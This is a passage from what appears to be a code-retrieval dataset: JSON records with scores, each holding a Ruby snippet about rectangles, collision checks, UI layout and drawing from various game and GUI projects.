state.box_collision_two # if both collision_boxes are defined (and not nil or empty)\n if state.box_collision_one.intersect_rect? state.box_collision_two # if the two boxes intersect\n outputs.labels << small_label(x, 23.5, 'The boxes intersect.')\n else # otherwise, if the two boxes do not intersect\n outputs.labels << small_label(x, 23.5, 'The boxes do not intersect.')\n end\n else\n outputs.labels << small_label(x, 23.5, '--') # if the two boxes are not defined (are nil or empty), this label is output\n end\n end", "title": "" }, { "docid": "ef87e5aaad4c4389376094eebd532768", "score": "0.5595992", "text": "def add_buttons\n @p_button = Chingu::Rect.new(510,5,20,20)\n Chingu::Text.create(:text=>\"p\",:x=>513,:y=>5,:factor_x =>1.5)\n @m_button = Chingu::Rect.new(540,5,20,20)\n Chingu::Text.create(:text=>\"m\",:x=>540,:y=>5,:factor_x =>1.5)\n @o_button = Chingu::Rect.new(570,5,20,20)\n Chingu::Text.create(:text=>\"o\",:x=>575,:y=>5,:factor_x =>1.5)\n @save_button = Chingu::Rect.new(5,5,45,20)\n Chingu::Text.create(:text=>\"save\",:x=>5,:y=>5,:factor_x =>1.5)\n @load_button = Chingu::Rect.new(60,5,45,20)\n Chingu::Text.create(:text=>\"load\",:x=>65,:y=>5,:factor_x =>1.5)\n end", "title": "" }, { "docid": "79c3523c081df45b3fe252488aee5d7f", "score": "0.5584514", "text": "def point_to_rect_tech_demo\n x = 460\n\n outputs.labels << small_label(x, 15, \"Click inside the blue box maybe ---->\")\n\n box = [765, 370, 50, 50, 0, 0, 170] # blue box\n outputs.borders << box\n\n if state.last_mouse_click # if the mouse was clicked\n if state.last_mouse_click.point.inside_rect? box # if mouse clicked inside box\n outputs.labels << small_label(x, 16, \"Mouse click happened inside the box.\")\n else # otherwise, if mouse was clicked outside the box\n outputs.labels << small_label(x, 16, \"Mouse click happened outside the box.\")\n end\n else # otherwise, if was not clicked at all\n outputs.labels << small_label(x, 16, \"Mouse click has not occurred yet.\") # output if the mouse was not clicked\n end\n\n # border around mouse input demo section\n outputs.borders << [455, row_to_px(14), 360, row_to_px(11).shift_up(5) - row_to_px(14)]\n end", "title": "" }, { "docid": "77357af2703769c10136e66c68f52745", "score": "0.5552944", "text": "def intersecting_rectanges(rect1, rect2)\n\n intersecting_rect_width = 0\n intersecting_rect_height = 0\n intersecting_rect_left_x = 0\n intersecting_rect_bottom_y = 0\n\n if rect1[:left_x] + rect1[:width] > rect2[:left_x] && rect2[:left_x] > rect1[:left_x]\n intersecting_rect_width = rect1[:left_x] + rect1[:width] - rect2[:left_x]\n intersecting_rect_left_x = rect2[:left_x]\n elsif rect2[:left_x] + rect2[:width] > rect1[:left_x] && rect1[:left_x] > rect2[:left_x]\n intersecting_rect_width = rect2[:left_x] + rect2[:width] - rect1[:left_x]\n intersecting_rect_left_x = rect1[:left_x]\n end\n\n if rect1[:bottom_y] + rect1[:height] > rect2[:bottom_y] && rect2[:bottom_y] > rect1[:bottom_y]\n intersecting_rect_height = rect1[:bottom_y] + rect1[:height] - rect2[:bottom_y]\n intersecting_rect_bottom_y = rect1[:bottom_y]\n elsif rect2[:bottom_y] + rect2[:height] > rect1[:bottom_y] && rect1[:bottom_y] > rect2[:height]\n intersecting_rect_height = rect2[:bottom_y] + rect2[:height] - rect1[:bottom_y]\n intersecting_rect_bottom_y = rect2[:bottom_y]\n end\n \n {\n :left_x => intersecting_rect_left_x,\n :bottom_y => intersecting_rect_bottom_y,\n\n :width => intersecting_rect_width,\n :height => intersecting_rect_height\n }\nend", "title": "" }, { "docid": "bb3c125978a63f02e9b8cd1e917b3a23", "score": "0.55443037", "text": "def drawrect(*)\n super\n end", "title": "" }, { "docid": "dac655501e10fceb3c787101818c889e", "score": "0.55304146", "text": "def initial_pos_boxes\n return BOX_X_RIGHT, BOX_Y\n end", "title": "" }, { "docid": "c1fef8fbc45641582db82a40dc89c16e", "score": "0.54779285", "text": "def natural_rect(logical_x, logical_y, x_range, y_range)\n [\n logical_x * @tile_width,\n logical_y * @tile_width,\n x_range * @tile_width,\n y_range * @tile_width\n ]\n end", "title": "" }, { "docid": "08013e447d9ad08d3804531524657c67", "score": "0.5471479", "text": "def bound_in_rect(rect)\n result = rect\n if rect.x < 0\n result.width = rect.width - rect.x\n result.x = 0\n end\n if rect.y < 0\n result.height = result.height - rect.y\n result.y = 0\n end\n if rect.width > xsize\n result.width = xsize\n end\n if rect.height > ysize\n result.height = ysize\n end\n return result\n end", "title": "" }, { "docid": "d500cd72ef2d7929e3587c114d58fce2", "score": "0.54675", "text": "def layout_fields\n @options.controls.each do | control |\n label = Label.new(control.name)\n label.rect.topleft = [@fieldX, @fieldY]\n \n button = Button.new(control.to_s) { self.capture_event(control) }\n button.rect.topleft = [ label.rect.right + @spacing, @fieldY ]\n \n # TODO: Like in the original, there's no column creation\n @fieldY = label.rect.bottom + @spacing\n \n self << label\n self << button\n end\n end", "title": "" }, { "docid": "80079f96bf98a7f40c8c56a30b871228", "score": "0.545691", "text": "def scrollable_rect\n Rect.new(0, 0, self.width * 32, self.height * 32)\n end", "title": "" }, { "docid": "576695b372234628c1e56fadfac7bb22", "score": "0.54506516", "text": "def get_bounds\n # Go throug all blocks to find the bounds of this shape\n x_min = []\n y_min = []\n x_max = []\n y_max = []\n @blocks.each do |block| \n x_min << block.x\n y_min << block.y\n \n x_max << block.x + block.width\n y_max << block.y + block.height\n end\n\n return [x_min.min, y_min.min, x_max.max, y_max.max]\n end", "title": "" }, { "docid": "d0da688dd1b32041d88beff67ea568ec", "score": "0.5449093", "text": "def to_rect\n CGRectMake(*self[0,4])\n end", "title": "" }, { "docid": "ea1b46c3e7db0b3f63027c12c403acda", "score": "0.54305977", "text": "def textRectangle\n orect = getRect();\n orect.width -= 25;\n return rect;\n end", "title": "" }, { "docid": "f52df381520db55620811ad850793903", "score": "0.5413122", "text": "def create_extra_buttons()\n Rectangle.new(x:5,y:50,width:40,height:40,color:\"white\",z:1)\n Rectangle.new(x:16,y:66,width:18,height:9,color:\"#ff7eec\",z:1)\n Rectangle.new(x:5,y:100,width:40,height:40,color:\"white\",z:1)\n Rectangle.new(x:14,y:110,width:21,height:25,color:'#808080',z:1)\n Rectangle.new(x:14,y:110,width:21,height:5,color:'blue',z:1)\n Rectangle.new(x:5,y:150,width:40,height:40,color:\"white\",z:1)\n Triangle.new(x1:15,x2:35,x3:25,y1:180,y2:180,y3:160,color:\"black\",z:1)\n Rectangle.new(x:5,y:200,width:40,height:40,color:\"white\",z:1)\n Triangle.new(x1:15,x2:35,x3:25,y1:210,y2:210,y3:230,color:\"black\",z:1)\nend", "title": "" }, { "docid": "58b9b604b62bc84712ef56318b793282", "score": "0.54020226", "text": "def initialize(window, enemy, rect, spacing=24,\n active=true, visible=true)\n super(active, visible)\n @enemy = enemy\n \n # Determine rectangles to position controls\n rects = determine_rects(rect, spacing)\n \n @ucEncounters = UCLabelIconValue.new(window, rects[0][1], \n rects[0][0], rects[0][2],\n Vocab::encounters_label, BESTIARY_CONFIG::ICON_ENCOUNTERS, 0)\n @ucEncounters.cValue.align = 2\n @ucEncounters.active = active\n @ucEncounters.visible = visible\n \n @ucDefeated = UCLabelIconValue.new(window, rects[1][1], \n rects[1][0], rects[1][2],\n Vocab::defeated_label, BESTIARY_CONFIG::ICON_DEFEATED, 0)\n @ucDefeated.cValue.align = 2\n @ucDefeated.active = active\n @ucDefeated.visible = visible\n \n @ucEscaped = UCLabelIconValue.new(window, rects[2][1], \n rects[2][0], rects[2][2],\n Vocab::escaped_label, BESTIARY_CONFIG::ICON_ESCAPED, 0)\n @ucEscaped.cValue.align = 2\n @ucEscaped.active = active\n @ucEscaped.visible = visible\n \n @ucExp = UCLabelIconValue.new(window, rects[3][1], \n rects[3][0], rects[3][2],\n Vocab::exp_label,BESTIARY_CONFIG::ICON_EXP, 0)\n @ucExp.cValue.align = 2\n @ucExp.active = active\n @ucExp.visible = visible\n \n @ucGold = UCLabelIconValue.new(window, rects[4][1], \n rects[4][0], rects[4][2],\n Vocab::gold_label, BESTIARY_CONFIG::ICON_GOLD, 0)\n @ucGold.cValue.align = 2\n @ucGold.active = active\n @ucGold.visible = visible\n \n end", "title": "" }, { "docid": "0fa724d57a7e77ff1360b7a94646d27b", "score": "0.5384409", "text": "def get_active_rect\n x = screen[:width_in_pixels] * 0.5\n y = screen[:height_in_pixels] * 0.5 \n \n x,y = center_on(x,y,active_client_width,active_client_height)\n \n return x,y,active_client_width,active_client_height\n end", "title": "" }, { "docid": "55353107c5dc2fdff2ec7fd2d5fe1d07", "score": "0.53711784", "text": "def rect\n get.rect\n end", "title": "" }, { "docid": "cde399e349e07d52ea4d35cda1b50d37", "score": "0.53273493", "text": "def _init_layout\n # when user gives a negative value, we recalc and overwrite so the need to save, for a redraw.\n @saved_width ||= @width\n @saved_height ||= @height\n\n lines = Ncurses.LINES - 1\n columns = Ncurses.COLS - 1\n if @height_pc\n @height = ((lines - @top_margin - @bottom_margin) * @height_pc).floor\n elsif @saved_height <= 0\n @height = lines - @saved_height - @top_margin - @bottom_margin\n end\n $log.debug \" layout height = #{@height} \"\n if @width_pc\n @width = ((columns - @left_margin - @right_margin) * width_pc).floor\n elsif @saved_width <= 0\n # if width was -1 we have overwritten it so now we cannot recalc it. it remains the same\n @width = columns - @saved_width - @left_margin - @right_margin\n end\n $log.debug \" layout wid = #{@width} \"\n # if user has not specified, then get all the objects\n @components ||= @form.widgets.select do |w| w.visible != false && !@ignore_list.include?(w.class.to_s.downcase); end\n $log.debug \" components #{@components.count} \"\n end", "title": "" }, { "docid": "95eb4d3c311df50b954c540a6d32c9ab", "score": "0.532459", "text": "def norm_src_rect\n index = (@character.character_index || 0)\n pattern = @character.pattern < 3 ? @character.pattern : 1\n sx = (index % 4 * 3 + pattern) * @cw\n sy = (index / 4 * 4 + (get_direction - 2) / 2) * @ch\n self.src_rect.set(sx, sy, @cw, @ch)\n end", "title": "" }, { "docid": "53890285c8515efb59ecf65d993870df", "score": "0.53141344", "text": "def outer_width; rect.width + @border_thickness * 2; end", "title": "" }, { "docid": "bd55a28ca2f4956f5ae86d5972eab09d", "score": "0.5308209", "text": "def draw_controls()\n startControlPos = (@ctrFrames / self.timeout).to_i * self.number\n if (startControlPos >= @ucControls.size)\n @ctrFrames = 0\n startControlPos = 0\n end\n\n for i in startControlPos .. startControlPos + self.number-1\n if @ucControls[i] != nil\n draw_switchable(@ucControls[i], i-startControlPos)\n end\n end\n @ctrFrames +=1\n end", "title": "" }, { "docid": "6b21d04e803d82b917b2b62b0c6973c7", "score": "0.5305608", "text": "def rect(locator)\n find_element(locator).rect\n end", "title": "" }, { "docid": "85c8b8351e2229622008397b6dee81e8", "score": "0.5293922", "text": "def define_cursor_rect\n cursor_rect.set(-4, @index * default_line_height, cursorskin.width, cursorskin.height)\n end", "title": "" }, { "docid": "e25aebd368f88534a184a9fa6631a2dc", "score": "0.52864623", "text": "def std() CGRectStandardize(self) end", "title": "" }, { "docid": "003d1f2fe4710c2febfb72fbf73a0aaf", "score": "0.52858555", "text": "def outer_height; rect.height + @border_thickness * 2; end", "title": "" }, { "docid": "aed19ae98590646dde651c453c50c1ba", "score": "0.5277336", "text": "def Edit_SetRect(hwndCtl, lprc) send_edit_message(hwndCtl, :SETRECT, lparam: lprc) end", "title": "" }, { "docid": "319aa45a5f94a2af022c3ea23e91d6ba", "score": "0.5272926", "text": "def draw_ranges(battler, type)\n \n @cursor.target_area.clear\n attack_spell_min = 0\n help_spell_min = 0\n #set move_range\n restrict_move = (type > 3)\n move_range = restrict_move ? 0 : battler.base_move_range\n \n case type\n when 1 #enemy move, attack,and spell field\n weapon_range = battler.weapon_range\n attack_range_max = weapon_range[0]\n attack_range_min = weapon_range[1]\n #don't set spell range if enemy haven't \n attack_spell_range = battler.attack_skill_range[0] \n \n when 2, 4 #actor all or actor moved, but not acted\n weapon_range = battler.weapon_range\n attack_range_max, attack_range_min = weapon_range[0, 2]\n v_range = weapon_range[5]\n \n #don't set spell range if actor haven't\n attack_spell_range = battler.attack_skill_range[0] \n help_spell_range = battler.help_skill_range\n help_spell_range += move_range if help_spell_range\n \n when 5 # spell target area only\n ##get field of spell, and draw for cursor\n skill_range = battler.skill_range(@spell.id)\n @cursor.target_area[1] = skill_range[2] #line_skill?\n @cursor.target_area[2] = skill_range[3] #exclude_center?\n @cursor.target_area[3] = skill_range[1] #AoE range \n if @spell.for_opponent?\n @cursor.target_area[0] = 5\n attack_spell_range = skill_range[0]\n attack_spell_min = skill_range[4]\n else# for_friend\n @cursor.target_area[0] = 6\n help_spell_range = skill_range[0]\n help_spell_min = skill_range[4]\n end\n v_range = skill_range[5] # mod_MGC\n @cursor.target_area[4] = skill_range[6] # mod_MGC (aoe)\n \n when 8 #item range\n #This will be the item range draw tile section\n item_range = battler.item_range( @item.id)\n if @item.for_opponent? \n @cursor.target_area[0] = 5 #attack_skill\n attack_spell_range = item_range[0]\n else# for_friend\n @cursor.target_area[0] = 6 #heal\n help_spell_range = item_range[0]\n end\n @cursor.target_area[1] = false #line_skill?\n @cursor.target_area[2] = false #exclude_center?\n @cursor.target_area[3] = item_range[1] #AoE range\n v_range = item_range[3] # mod_MGC\n @cursor.target_area[4] = item_range[4] # mod_MGC (aoe)\n when 7 #weapon range only\n weapon_range = battler.weapon_range\n attack_range_max, attack_range_min = weapon_range[0, 2]\n @cursor.target_area[0] = 7\n @cursor.target_area[1] = weapon_range[3] #Affect in line\n @cursor.target_area[2] = false #exclude center (always false for weapons)\n @cursor.target_area[3] = weapon_range[4] #AoE for weapon \n @cursor.target_area[4] = weapon_range[6] # mod_MGC (aoe)\n end\n \n if [1, 2, 3].include?(type) and battler.can_teleport? #if either teleport state enabled\n @move_positions = battler.set_teleport_positions\n help_range = []\n attack_spell = []\n attack_range = []\n else\n @route, @cost = battler.calc_pos_move(move_range)\n @move_positions = @route.keys\n #weapon range\n if weapon_range\n if weapon_range[2] # bow?\n attack_range = battler.calc_pos_bow( attack_range_max, attack_range_min, @move_positions)\n else\n attack_range = battler.calc_pos_attack( attack_range_max, attack_range_min, @move_positions)\n end\n else\n attack_range = []\n end\n #spell/itrem range\n if @cursor.target_area[1] #line ?\n help_range = battler.calc_pos_attack( help_spell_range, help_spell_min, @move_positions )\n attack_spell = battler.calc_pos_attack( attack_spell_range, attack_spell_min, @move_positions )\n else\n help_range = battler.calc_pos_spell( help_spell_range, help_spell_min, @move_positions, v_range) # mod_MGC\n attack_spell = battler.calc_pos_spell( attack_spell_range, attack_spell_min, @move_positions, v_range) # mod_MGC\n end\n #----------------------------------------------------------------\n # Remove duplicated cells so no overlap occurs.\n #----------------------------------------------------------------\n attack_range -= @move_positions\n \n case type \n when 1, 2#actor or enemy all\n attack_spell -= @move_positions\n attack_spell -= attack_range\n help_range -= @move_positions\n help_range -= attack_range\n help_range -= attack_spell\n when 4 #actor moved, but not acted\n attack_spell -= attack_range\n end\n end\n \n @spriteset.draw_range(@move_positions, 2) unless type > 4\n @spriteset.draw_range(attack_range, 1)\n @spriteset.draw_range(attack_spell, 4)\n @spriteset.draw_range(help_range, 3)\n @cursor.target_positions = []\n\n #return the active range to update @cursor.range = \n case @cursor.target_area[0] #type of colored range\n when 5\n return attack_spell\n when 6\n return help_range\n when 7\n return attack_range\n else\n return @move_positions\n end\n end", "title": "" }, { "docid": "785109837c977b523c9dbcf41404d124", "score": "0.52692866", "text": "def color_valid_positions\n return if @item.nil?\n \n center_color = Color.new(83,142,250)\n outer_color = Color.new(250,40,100)\n \n cx = cy = (contents.width-@grid_square_size)/@grid_square_size/2 * @grid_square_size + 1\n sq = @grid_square_size-1\n\n points = !(t = @item.tbs_spec_range).nil? ? t[$game_temp.tb_event.dir_to_sym_era] : simple_range\n \n return if points.nil?\n \n points.each do |v|\n offset_x, offset_y = v.x * @grid_square_size, v.y * @grid_square_size\n sz = grid_side\n px,py = cx + offset_x + sq, cy + offset_y + sq\n contents.fill_rect(px-sq,py-sq,sq,sq, outer_color) if px < sz && py < sz\n end\n contents.fill_rect(cx, cy,sq,sq, center_color) # center\n end", "title": "" }, { "docid": "a7a12f036d8c5c75f8b96fa748f502f2", "score": "0.52653384", "text": "def vrect\n @sprite.viewport.nil? ? Rect.new(0, 0, Graphics.width, Graphics.height) : \n @sprite.viewport.rect\n end", "title": "" }, { "docid": "9482b51c96f725cbb846b37b9b3edde4", "score": "0.52597606", "text": "def render_rect loc\n {\n x: loc.col * state.cell_size,\n y: loc.row * state.cell_size,\n w: state.cell_size,\n h: state.cell_size,\n }\n end", "title": "" }, { "docid": "a844aae1a23d9d06debb4e8c9d6cadd5", "score": "0.52503115", "text": "def draggable(renderer, event_handler_registry, handle_w, handle_h, region_rect, ui_state, &on_change)\n handle_x = ui_state[:handle_x] || 0\n handle_y = ui_state[:handle_y] || 0\n if !(ui_state[:pressed])\n evh = { type: :mouse_down, rect: Rect.new(handle_x, handle_y, handle_w, handle_h), callback: proc { |_ev|\n if !(ui_state[:pressed])\n ui_state[:pressed] = true\n yield(ui_state) if on_change\n true\n else\n false\n end\n } }\n event_handler_registry.register_event_handler(evh)\n else\n evh2 = { type: :mouse_move, callback: proc { |ev|\n if ui_state[:pressed] == true\n new_handle_x = (ui_state[:handle_x] || 0) + ev.xrel\n new_handle_x = region_rect.x if new_handle_x < region_rect.x\n new_handle_x = region_rect.x2 if new_handle_x > region_rect.x2\n\n new_handle_y = (ui_state[:handle_y] || 0) + ev.yrel\n new_handle_y = region_rect.y if new_handle_y < region_rect.y\n new_handle_y = region_rect.y2 if new_handle_y > region_rect.y2\n\n ui_state[:handle_x] = new_handle_x\n ui_state[:handle_y] = new_handle_y\n\n yield(ui_state) if on_change\n true\n else\n false\n end\n } }\n\n evh1 = { type: :mouse_up, callback: proc { |_ev|\n if ui_state[:pressed] == true\n ui_state[:pressed] = false\n yield(ui_state) if on_change\n true\n else\n false\n end\n } }\n\n event_handler_registry.register_event_handler(evh1)\n event_handler_registry.register_event_handler(evh2)\n end\nend", "title": "" }, { "docid": "a5812f834f050a95386052c5eadffc95", "score": "0.52502894", "text": "def rect=(rectangle); end", "title": "" }, { "docid": "16845265e5fe4bd3673bcefeb4a5e9b7", "score": "0.5247553", "text": "def bottom\n self.ox = self.src_rect.width/2\n self.oy = self.src_rect.height\n end", "title": "" }, { "docid": "7cb1d03952772c4361c9fd4b789239a6", "score": "0.5214285", "text": "def magick_crop_rect\n [x1, y1, x2-x1, y2-y1]\n end", "title": "" }, { "docid": "9acf4c34d661f1be5d51118842fd7a81", "score": "0.5198551", "text": "def basic_area_rect(index)\n rect = item_rect_for_text(index)\n rect.width -= gauge_area_width + 10\n rect\n end", "title": "" }, { "docid": "0b8359628dc99764a1ccb74fa0838c2e", "score": "0.5197843", "text": "def split\n sw = (w / 2.0).round\n sh = (h / 2.0).round\n return Rect.new(x, y, sw, sh),\n Rect.new(x + sw, y, sw, sh),\n Rect.new(x, y + sh, sw, sh),\n Rect.new(x + sw, y + sh, sw, sh)\n end", "title": "" }, { "docid": "b3ff9d566016bfeda289b464ee798d1c", "score": "0.5182943", "text": "def Edit_SetRectNoPaint(hwndCtl, lprc) send_edit_message(hwndCtl, :SETRECTNP, lparam: lprc) end", "title": "" }, { "docid": "a25fd95215fa5c3a63763c39c7161649", "score": "0.5180342", "text": "def paint_boundaries(dc)\n height = @rows * @txt_height\n\n # draw area boundaries\n dc.set_pen(@area_bounds_pen)\n dc.draw_line(x2=(@hex0)-2, 0, x2, height)\n dc.draw_line(x2=(@asc0-@asc_width), 0, x2, height)\n dc.draw_line(x2=(@hex0+@row_width), 0, x2, height)\n\n hex_w = @hex_width + @asc_width\n h_off = @hex_width /2\n l_off = @asc_width /2\n\n # draw WORD boundary indicator lines in the hex area\n divW = (hex_w << 2)\n divX = @hex0 + divW - 1\n dc.set_pen( @word_bounds_pen )\n while divX < @hexN-h_off\n dc.draw_line(x2=(divX+l_off), 0, x2, height)\n divX += divW\n end\n end", "title": "" }, { "docid": "aa88b36a766f30ee69cd6892221bd57f", "score": "0.5162547", "text": "def item_rect_for_text(index)\n rect = item_rect(index)\n rect.x += 40\n rect.width -= 80\n rect\n end", "title": "" }, { "docid": "09099f51eb0775885e298bb72479ab1c", "score": "0.5152076", "text": "def update_placement\n self.x = (Graphics.width - self.width) / 2\n self.y = (Graphics.height - self.height) / 2\n end", "title": "" }, { "docid": "e307f38a6b6e928e44eef65c8d8a59cb", "score": "0.5150222", "text": "def fillrect(*)\n super\n end", "title": "" }, { "docid": "69d0f05092fd1cd11cd43f41158d9f6b", "score": "0.5145622", "text": "def resize_gfx_points(players)\r\n left_align_off = 20\r\n offlbl_y = 20\r\n start_toty = 110\r\n #label for scopa\r\n players.each do |pl_match|\r\n player_label = pl_match.name.to_sym\r\n lbl_gfx_scopa = @points_status[player_label][:widg_scopa]\r\n lbl_gfx_tot = @points_status[player_label][:widg_tot] \r\n \r\n lbl_gfx_scopa.pos_x = left_align_off\r\n lbl_gfx_tot.pos_x = left_align_off\r\n \r\n if pl_match.type == :human_local\r\n human_start_toty = start_toty - 30\r\n #lbl_gfx_scopa.pos_y = @curr_canvas_info[:height] - ( human_start_toty + 2 * offlbl_y)\r\n #lbl_gfx_tot.pos_y = @curr_canvas_info[:height] - ( human_start_toty + 3 * offlbl_y) \r\n lbl_gfx_scopa.pos_y = @model_canvas_gfx.info[:canvas][:height] - ( human_start_toty + 2 * offlbl_y)\r\n lbl_gfx_tot.pos_y = @model_canvas_gfx.info[:canvas][:height] - ( human_start_toty + 3 * offlbl_y) \r\n else\r\n lbl_gfx_scopa.pos_y = start_toty + offlbl_y\r\n lbl_gfx_tot.pos_y = start_toty\r\n end\r\n end\r\n end", "title": "" }, { "docid": "da697329d954aa88ab6f3664006f2c17", "score": "0.51433474", "text": "def draw_plot_boundaries(x_start, x_end, y_start, size_mult=1.0)\n y_interval = @box_size*9*size_mult\n x_begin = @box_size * 0.7\n @canvas.g.translate(x_start, y_start) do |l|\n l.styles(:fill=>'none', :stroke_width=>1, :stroke=>'gray', :fill_opacity=>0.0)\n l.line(x_begin,y_interval,x_end-x_start,y_interval)\n l.line(x_begin,0,x_end-x_start,0)\n end\n end", "title": "" }, { "docid": "fc67c9f4d14fccd0b82faeb12b516250", "score": "0.5140629", "text": "def rect(wide, tall)\n tall.times do |row|\n wide.times do |col|\n @display[row][col] = '#'\n end\n end\n self\n end", "title": "" }, { "docid": "65f5dcc816efeb75d767da7896d1d978", "score": "0.5139235", "text": "def test_alignCenter\n [@window, @sprite, @bitmap].each{|container|\n uc = UCNumericUpDown.new(container, Rect.new(0, 72, @window.contents.width, 24), 5, nil, 0, 99, 1, 1)\n uc.draw()\n }\n return true\n end", "title": "" }, { "docid": "4ab371173092aeaf4b73307f2fcc3d07", "score": "0.51155615", "text": "def check_bounds(sp, params)\n if params[:xdisplay] == :wrap\n sp.x %= @game_window.width\n elsif params[:xdisplay] == :bound\n sp.x = (@game_window.width - sp.width) if sp.x > (@game_window.width - sp.width)\n elsif params[:ydisplay] == :wrap\n sp.y %= @game_window.height - sp.height\n elsif params[:ybound] == :bound\n sp.y = (@game_window.height - sp.height) if sp.y > (@game_window.height - sp.height)\n end\n end", "title": "" }, { "docid": "afd45b055d9dcde91567c0510d772c57", "score": "0.5109995", "text": "def set_view_position r,c\n return false if r < 0 or c < 0\n # 2010-02-04 19:29 TRYING -2 for borders\n $log.debug \" set_view if #{r} +1+ #{@height} - #{@border_width} )} >=#{@child.height} \"\n # 2010-02-12 15:33 XXX made > into >= and added +1 since -1 in set_buffering\n # testscrollp was crashing out when child height exceeded\n if r+ (@height+1-@border_width) >= @child.height\n # basically r + (:bottom - :screen_top) < @child.height\n #if r+ (@height) >= @child.height\n $log.debug \" set_view_position : trying to exceed ht #{r} + #{@height} > #{@child.height} returned false\"\n return false\n end\n # testscrollp was printing junk on right end. Why the 1? \n if c+ (@width+1-@border_width) >=@child.width\n #if c+ (@width) >=@child.width\n $log.debug \" set_view_position : trying to exceed width #{c} + #{@width} . returned false\"\n return false\n end\n $log.debug \" VP row #{@row} col #{@col}, now will be #{r} , #{c} \"\n row(r) # commnting off 2010-02-06 22:47 \n col(c) # commnting off 2010-02-06 22:47 \n # next call sets pminrow and pmincol \n $log.debug \" VP setting child buffer pmin to #{r} #{c} \"\n @child.get_buffer().set_pad_top_left(r, c)\n # replaced this on 2010-02-26 11:49 HOPE IT WORKS XXX\n #@child.fire_property_change(\"row\", r, r) # XXX quick dirty, this should happen\n @child.repaint_required(true)\n @repaint_required = true\n #fire_handler :PROPERTY_CHANGE, self\n fire_state_changed\n return true\n end", "title": "" }, { "docid": "3cb11593d5525b95690a7c3c0a98dd5b", "score": "0.51090485", "text": "def draw_control_grid( view )\r\n for patch in @patches\r\n patch.draw_control_grid_fill( view )\r\n end\r\n # Borders\r\n draw_control_edges( view, edges )\r\n # Internal Grid\r\n view.drawing_color = CLR_CTRL_GRID\r\n view.line_width = CTRL_GRID_LINE_WIDTH\r\n view.line_stipple = '-'\r\n for patch in @patches\r\n patch.draw_internal_control_grid( view )\r\n end\r\n nil\r\n end", "title": "" }, { "docid": "6b47c809644bbf4d26b1c80bf1f3a308", "score": "0.5103068", "text": "def window_rect\n manage.window.rect\n end", "title": "" }, { "docid": "6b47c809644bbf4d26b1c80bf1f3a308", "score": "0.5103068", "text": "def window_rect\n manage.window.rect\n end", "title": "" }, { "docid": "6b47c809644bbf4d26b1c80bf1f3a308", "score": "0.5103068", "text": "def window_rect\n manage.window.rect\n end", "title": "" }, { "docid": "6c597f0a443696565dda16ca42d5a454", "score": "0.5097222", "text": "def rect()\n Rect.new(p1, p2)\n .stroke(stroke)\n .fill(fill)\n .fill_phase(fill_phase)\n .line_width(line_width)\n .line_dash(line_dash)\n end", "title": "" }, { "docid": "6c597f0a443696565dda16ca42d5a454", "score": "0.5097222", "text": "def rect()\n Rect.new(p1, p2)\n .stroke(stroke)\n .fill(fill)\n .fill_phase(fill_phase)\n .line_width(line_width)\n .line_dash(line_dash)\n end", "title": "" }, { "docid": "ce733faee9d70a97de0b93a08d91878b", "score": "0.50954545", "text": "def upper_level_bounds\n {\n x: G.current_level.pixel_width - width / 2,\n y: G.current_level.pixel_height - height / 2\n }\n end", "title": "" }, { "docid": "6228bd241b5168a6916ca4c1f2e153f7", "score": "0.50876737", "text": "def calculate_position\n x = default_horizontal_margin\n case current_position\n when :top\n y = default_vertical_margin\n when :middle\n y = (viewport.rect.height - height) / 2\n when :bottom, :left\n y = viewport.rect.height - default_vertical_margin - height\n when :right\n y = viewport.rect.height - default_vertical_margin - height\n x = viewport.rect.height - x - width\n end\n set_position(x, y)\n end", "title": "" }, { "docid": "7592c14f73562bf5b5b02786c8cfd66d", "score": "0.5087067", "text": "def initialize(window, item, rect, itemNumberPattern, spacing=8,\n active=true, visible=true)\n super(active, visible)\n @item = item\n \n # Determine rectangles to position controls\n rects = determine_rects(rect, spacing)\n \n @ucIcon = UCIcon.new(window, rects[0], item.icon_index)\n @ucIcon.active = active\n @ucIcon.visible = visible\n\n @cItemName = CLabel.new(window, rects[1], item.name)\n @cItemName.active = active\n @cItemName.visible = visible\n @cItemName.cut_overflow = true\n\n @cItemPrice = CLabel.new(window, rects[2], item.price)\n @cItemPrice.active = active\n @cItemPrice.visible = visible\n\n @cItemPossess = CLabel.new(window, rects[3], $game_party.item_number(item))\n @cItemPossess.active = active\n @cItemPossess.visible = visible\n\n @ucItemNumber = UCNumericUpDown.new(window, rects[4], 0, itemNumberPattern)\n @ucItemNumber.active = active\n @ucItemNumber.visible = visible\n end", "title": "" }, { "docid": "7ff74f02ed29f00945608014a2eba918", "score": "0.50852776", "text": "def arrange_tiled\n # some simplifying assumptions for constants that may need revisiting for more flexibility\n margin_v = 5\n row_height = 30\n \n rows = self.rows_of_subviews\n row_v_position = 5\n rows.each { |row|\n total_element_width = row.inject(0) {|r, view| r += view.width}\n total_margin_width = self.width - total_element_width\n margin_h = total_margin_width / (row.count + 1) # e.g. if 3 views, there are 4 margins\n \n x_tally = 0\n row.each { |view|\n view.center = CGPointMake(x_tally + margin_h + (view.width / 2), row_v_position + (row_height / 2))\n x_tally += margin_h + view.width\n }\n \n row_v_position += row_height\n }\n end", "title": "" }, { "docid": "d81b434c1051ed001aa6e1713a3eaf0b", "score": "0.5068793", "text": "def test_alignTopLeft\n [@window, @sprite, @bitmap].each{|container|\n uc = UCCharacterGraphic.new(container, Rect.new(0, 80, @window.contents.width, 120), $data_actors[1], 0)\n uc.draw()\n }\n return true\n end", "title": "" }, { "docid": "a088f26f641df58ac794f56630277289", "score": "0.5062868", "text": "def draw_interaction_tag_boxes(x_start, x_end, y_start, y_end, tagSNPMap, snpname)\n\t\t\n\t\ttagnames = tagSNPMap.snps[snpname].sort\n\t\t# determine start and end for each color\n\t\ty_interval = y_end-y_start\n\t\tinterval = y_interval/tagnames.length.to_f\n\t\typts = Array.new\n\t\tlast_y = y_start\n\t\ttagnames.length.times do |i|\n\t\t\typts << last_y + interval\n\t\t\tlast_y = ypts.last\n\t\tend\n\t\t\n\t\twidth = (x_end-x_start).to_f/2\n\t\tcurrent_y = y_start\n\t\ttagnames.each_with_index do |tagname,i|\n\t\t\t@canvas.g do |plot|\n\t\t\t\tcolorstr = tagSNPMap.tags[tagname]\n\t\t\t\tplot.styles(:stroke=>colorstr, :fill=>colorstr)\n\t\t\t\tplot.rect(width, ypts[i]-current_y, x_start-width/2, current_y)\n\t\t\tend\n\t\t\tcurrent_y = ypts[i]\n\t\tend\n\tend", "title": "" }, { "docid": "77d49abbe75f5bda9c83eb0e6f3064ae", "score": "0.5062443", "text": "def repaint\n woffset = 2\n coffset = 1\n\n # 2016-01-14 - replacing 1 with space since junk is showing up in some cases (in mvvline/mvhline)\n space_char = \" \".codepoints.first\n\n if 